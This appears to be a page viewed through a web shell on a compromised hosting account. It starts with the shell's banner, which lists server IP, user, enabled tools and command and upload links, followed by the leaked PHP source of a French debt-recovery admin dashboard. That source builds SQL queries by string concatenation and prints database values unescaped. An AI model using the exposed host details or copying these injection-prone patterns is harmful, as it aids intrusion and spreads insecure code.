|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
?>
<script language="Javascript">
function GetIdBureau()
{
var id="";
id = document.admin_form.admin_id.value ;
if( id > 0 || id=="INDEFINI" )
window.location = "index.php?id="+id;
else
window.location = "index.php";
}
</script>
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- Navbar -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Left navbar links -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li>
<!--bouton en haut -->
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="index.html" class="nav-link"><!--Accueil --></a>
</li>
<td>
<a href="non_echu_p_m_all.php"><button type="button" class="btn btn-block btn-secondary" ></i> ENCOURS</button> </a>
</td>
<td>
  <a href="relance_programee.php"> <button type="button" class="btn btn-block btn-secondary" ></i> RELANCES </button></a>
</td>
<td>
  <a href="litige_programee.php"><button type="button" class="btn btn-block btn-secondary" ></i> LITIGES</button> </a>
</td>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link"><!--Contact --></a>
</li>
<?php if($notif !=0 ){ ?>
<li class="nav-item dropdown">
<a class="nav-link" data-toggle="dropdown" href="#">
<i class="far fa-bell"></i>
<span class="badge badge-warning navbar-badge">M</span>
</a>
<div class="dropdown-menu dropdown-menu-lg dropdown-menu-right">
<span class="dropdown-item dropdown-header"><?php echo $notif ; ?> Notifications</span>
<div class="dropdown-divider"></div>
<a href="sms_.php" class="dropdown-item">
<i class="fas fa-envelope mr-2"></i> <?php echo $notif ; ?> Nouveaux message
<span class="float-right text-muted text-sm">1 mins</span>
</a>
<div class="dropdown-divider"></div>
<a href="sms_recuuu.php" class="dropdown-item dropdown-footer">Voie tous les messages</a>
</div>
</li>
<?php }?>
</ul>
<!-- SEARCH FORM
<form class="form-inline ml-3">
<div class="input-group input-group-sm">
<input class="form-control form-control-navbar" type="search" placeholder="Search" aria-label="Search">
<div class="input-group-append">
<button class="btn btn-navbar" type="submit">
<i class="fas fa-search"></i>
</button>
</div>
</div>
</form>
-->
</nav>
<!-- /.navbar -->
<!-- Main Sidebar Container -->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Brand Logo -->
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar -->
<div class="sidebar">
<!-- Sidebar user panel (optional) -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php'); ?>
<!-- Sidebar Menu -->
</div>
<!-- /.sidebar -->
</aside>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
</div><!-- /.row -->
</div>
</div>
<!-- /.content-header -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<?php
$Admin_ID = 83 ;
// $suivi = dbi_query(" SELECT * FROM sous_tache st , tache t where st.tache_id = t.tache_id AND sous_tache_status = 0 AND st.user_id = $Admin_ID ") ;
$suivi = dbi_query(" SELECT * FROM sous_tache st , tache t where st.tache_id = t.tache_id AND sous_tache_status = 0 AND t.tache_recouvrement = 1 ORDER BY st.sous_tache_date_fin ASC ") ;
?>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-header">
<h3 class="card-title"> <i class="far fa-credit-card"></i> TACHES EN COURS </h3>
</div>
<div class="card-body">
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="" class="table table-hover">
<thead>
<TR>
<th align="center">CLIENT</th>
<th align="center">SALARIE </th>
<th align="center"> TACHE </th>
<th align="center"> DESIGNATION</th>
<th align="center">DATE</th>
</TR>
</thead>
<tbody>
<?php while($a = dbi_fetch_row($suivi)){
list($Admin_nom) = dbi_fetch_row( dbi_query("SELECT user_nom,user_prenom FROM `users` WHERE `user_id` = ".$a['user_id'])) ;
// list($salarie_nom ,$salarie_prenom ) = dbi_fetch_row( dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['inter_id'])) ;
// $salarie_nomm = $salarie_nom." ".$salarie_prenom ;
// exit() :
// pour identifier les prospect car on peut pas faire la diffrence entre les prospect et les clients
// if($a['client_id']<100 and $a['client_id']!= 0)
// {
// list($client_nom)= dbi_fetch_row(dbi_query("SELECT prospect_nom FROM `prospect` WHERE `prospect_id` = ".$a['client_id'])) ;
// $nom_de_client=$client_nom." (Prospect) " ;
// $client_nom = $client_nom." (Prospect) " ;
// $client_id=$a['client_id'] ;
// }
// else
// {
if($a['client_id']!= 0)
{
list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom FROM `client` WHERE `client_id` = ".$a['client_id'])) ;
}
else
{ $client_nom = " <strong > N.C </strong>"; }
// }
list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['salarie_id'])) ;
if(empty($salarie_nom) AND empty($salarie_prenom))
{
$salarie_nom = " <strong >N" ;
$salarie_prenom = ".C </strong> " ;
}
$sous_tache_date_fin = date2int_DSI($a['sous_tache_date_fin']) ;
$today = date("Ymd");
// echo "==> ==> $sous_tache_date_fin <br/>" ;
if($today>$sous_tache_date_fin)
{
$dat_fin =int2date($sous_tache_date_fin) ;
// echo "tetfrreeerrett <br/>" ;
$badge = 'badge-danger';
$dat_fin="<span class='badge ".$badge."'>".$dat_fin."</span>" ;
}
elseif($today== $sous_tache_date_fin)
{
$dat_fin =int2date($sous_tache_date_fin) ;
// echo "tetfrreeerrett <br/>" ;
$badge = 'badge-success';
$dat_fin="<span class='badge ".$badge."'>".$dat_fin."</span>" ;
}
else
{
$dat_fin =int2date($sous_tache_date_fin) ;
}
// exit() ;
$page = "index.php" ;
// echo "==>".$a['tache_recouvrement']."<br/>" ;
?>
<tr>
<?php
if($a['tache_recouvrement'] == 1 )
{
if($a['PRIORITAIRE']==1)
{
?>
<td align=""> <a href="cRvouvrement.php?client_id= <?php echo $a['client_id']?>&page=<?=$page?> ; ?>" target="" > <?php echo $client_nom ; ?></a> <span class="right badge badge-danger">Pr</span> </td>
<?php
}
else
{
?>
<td align="center"> <a href="cRvouvrement.php?client_id= <?php echo $a['client_id']?>&page=<?=$page?> ; ?>" target="" > <?php echo $client_nom ; ?> </a></td>
<?php
}
}else{
if($a['PRIORITAIRE']==1)
{
?>
<td align="center"> <a href="fetch_record.php?rowid=<?=$a['tache_id']?>&page=<?=$page?>"> <?php echo $client_nom ; ?></a> <span class="right badge badge-danger">Pr</span> </td>
<?php
}
else
{
?>
<td align="center"> <a href="fetch_record.php?rowid=<?=$a['tache_id']?>&page=<?=$page?>"> <?php echo $client_nom ; ?></a></td>
<?php
}
}
?>
<td align="center"> <?php echo $salarie_nom." ".$salarie_prenom ; ?></td>
<td align="center"> <?php echo $a['tache_sujet'] ; ?></td>
<td align="center"> <?php echo substr($a['sous_tache_designation'] , 0, 50)." ...";?></td>
<td align="center"> <?php echo $dat_fin ; ?></td>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<!-- /.row (main row) -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<?php
// $fin = getmicrotime();
// echo "Page générée en ".round($fin-$debut, 3) ." secondes.<br />";
?>
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- Page Script -->
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- <script src="libbox/loadingoverlay.js"></script> -->
<!-- jQuery -->
<script src="//code.jquery.com/jquery-2.1.1.min.js"></script>
<!-- Bootstrap -->
<script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.6/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="../plugins/datatables/jquery.dataTables.js"></script>
<script src="../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- loading-overlay -->
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
<script src="../plugins/select2/js/select2.full.min.js"></script>
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
})
</script>
</body>
<?php
//vider la table automate_salarie on rempli cet table dans la page anomalies_salarie.php // include planning_prestation.php
dbi_query("TRUNCATE TABLE automate_salarie") ;
?>
</html>
